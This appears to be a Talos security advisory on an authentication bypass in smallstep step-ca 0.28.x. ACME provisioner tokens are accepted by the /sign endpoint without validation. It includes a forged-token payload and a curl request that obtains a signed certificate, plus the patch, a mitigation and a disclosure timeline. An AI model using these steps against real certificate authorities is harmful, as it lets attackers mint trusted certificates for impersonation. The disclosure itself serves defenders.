An attacker can bypass authorization checks and force a Step CA ACME or SCEP provisioner to create certificates without completing certain protocol authorization checks.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
smallstep Step-CA 0.28.4
smallstep Step-CA v0.28.3
Step-CA - https://smallstep.com/docs/step-ca/index.html
10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWE-287 - Improper Authentication
Smallstep’s step-ca is an open-source, lightweight certificate authority (CA) designed to simplify the management of digital certificates for secure authentication and encryption. It provides tools for automating the issuance and renewal of certificates for internal services, devices, and users. With support for modern protocols like ACME, OIDC, and SSH, step-ca makes it easy to deploy and manage certificates in cloud-native and DevOps environments.
Smallstep’s step-ca platform offers users multiple choices when setting up certificate provisioners. One of these choices is to set up a provisioner that uses the ACME protocol. This provisioner is intended to be used with a separate set of ACME API endpoints that facilitate the ACME protocol flow.
Other endpoints exist in the service for other provisioners. These endpoints perform token authorization depending on the provisioner being used. It does not seem that these endpoints were intended to work with ACME. When requesting a new token from an ACME provisioner, an error is thrown indicating that token auth is not supported.
However, a vulnerability exists due to the fact that tokens that specify an ACME provisioner are accepted by non-ACME endpoints. For example, the /sign endpoint uses the provisioners AuthorizeSign method to validate the provided token. The following is the AuthorizeSign method for ACME:
https://github.com/smallstep/certificates/blob/master/authority/provisioner/acme.go#L315
315 // AuthorizeSign does not do any validation, because all validation is handled
316 // in the ACME protocol. This method returns a list of modifiers / constraints
317 // on the resulting certificate.
318 func (p *ACME) AuthorizeSign(context.Context, string) ([]SignOption, error) {
319 opts := []SignOption{
320 p,
321 // modifiers / withOptions
322 newProvisionerExtensionOption(TypeACME, p.Name, "").WithControllerOptions(p.ctl),
323 newForceCNOption(p.ForceCN),
324 profileDefaultDuration(p.ctl.Claimer.DefaultTLSCertDuration()),
325 // validators
326 defaultPublicKeyValidator{},
327 newValidityValidator(p.ctl.Claimer.MinTLSCertDuration(), p.ctl.Claimer.MaxTLSCertDuration()),
328 newX509NamePolicyValidator(p.ctl.getPolicy().getX509()),
329 p.ctl.newWebhookController(nil, linkedca.Webhook_X509),
330 }
331
332 return opts, nil
333 }
The above method does not perform any validation on the provided token. This means that any token that identifies the provisioner as an ACME provisioner will be treated as valid.
An attacker can easily create a token that meets these requirements and is able to sign any CSR with the CA setup in a user’s step-ca service.
To exploit this vulnerability an attacker needs to:
Create a new CSR
Create a Token by signing the following payload with any secret:
{ “aud”: “acme/{ACME provisioner name}”, “exp”: {timestamp}, “iat”: {timestamp}, “iss”: “{arbitrary value}”, “jti”: “{arbitrary value}”, “nbf”: {timestamp}, “sans”: [ “{arbitrary value}” ], “sha”: “{arbitrary value}”, “sub”: “{arbitrary value}”, “user”: {} }
$ curl -k https://{step-ca-url}/sign -d "{\"csr\":\"$CSR\",\"ott\":\"$TOKEN\"}"
{ “crt”: “—–BEGIN CERTIFICATE—–\n…” … }
In v0.29.0, ACME and SCEP provisioners were updated to block requests providing a token.
If you are unable to upgrade to v0.29.0 or newer, the attack can be mitigated by blocking access to the /sign endpoint.
2025-09-29 - Initial Vendor Contact
2025-09-30 - Vendor Disclosure
2025-12-02 - Vendor Patch Release
2025-12-17 - Public Release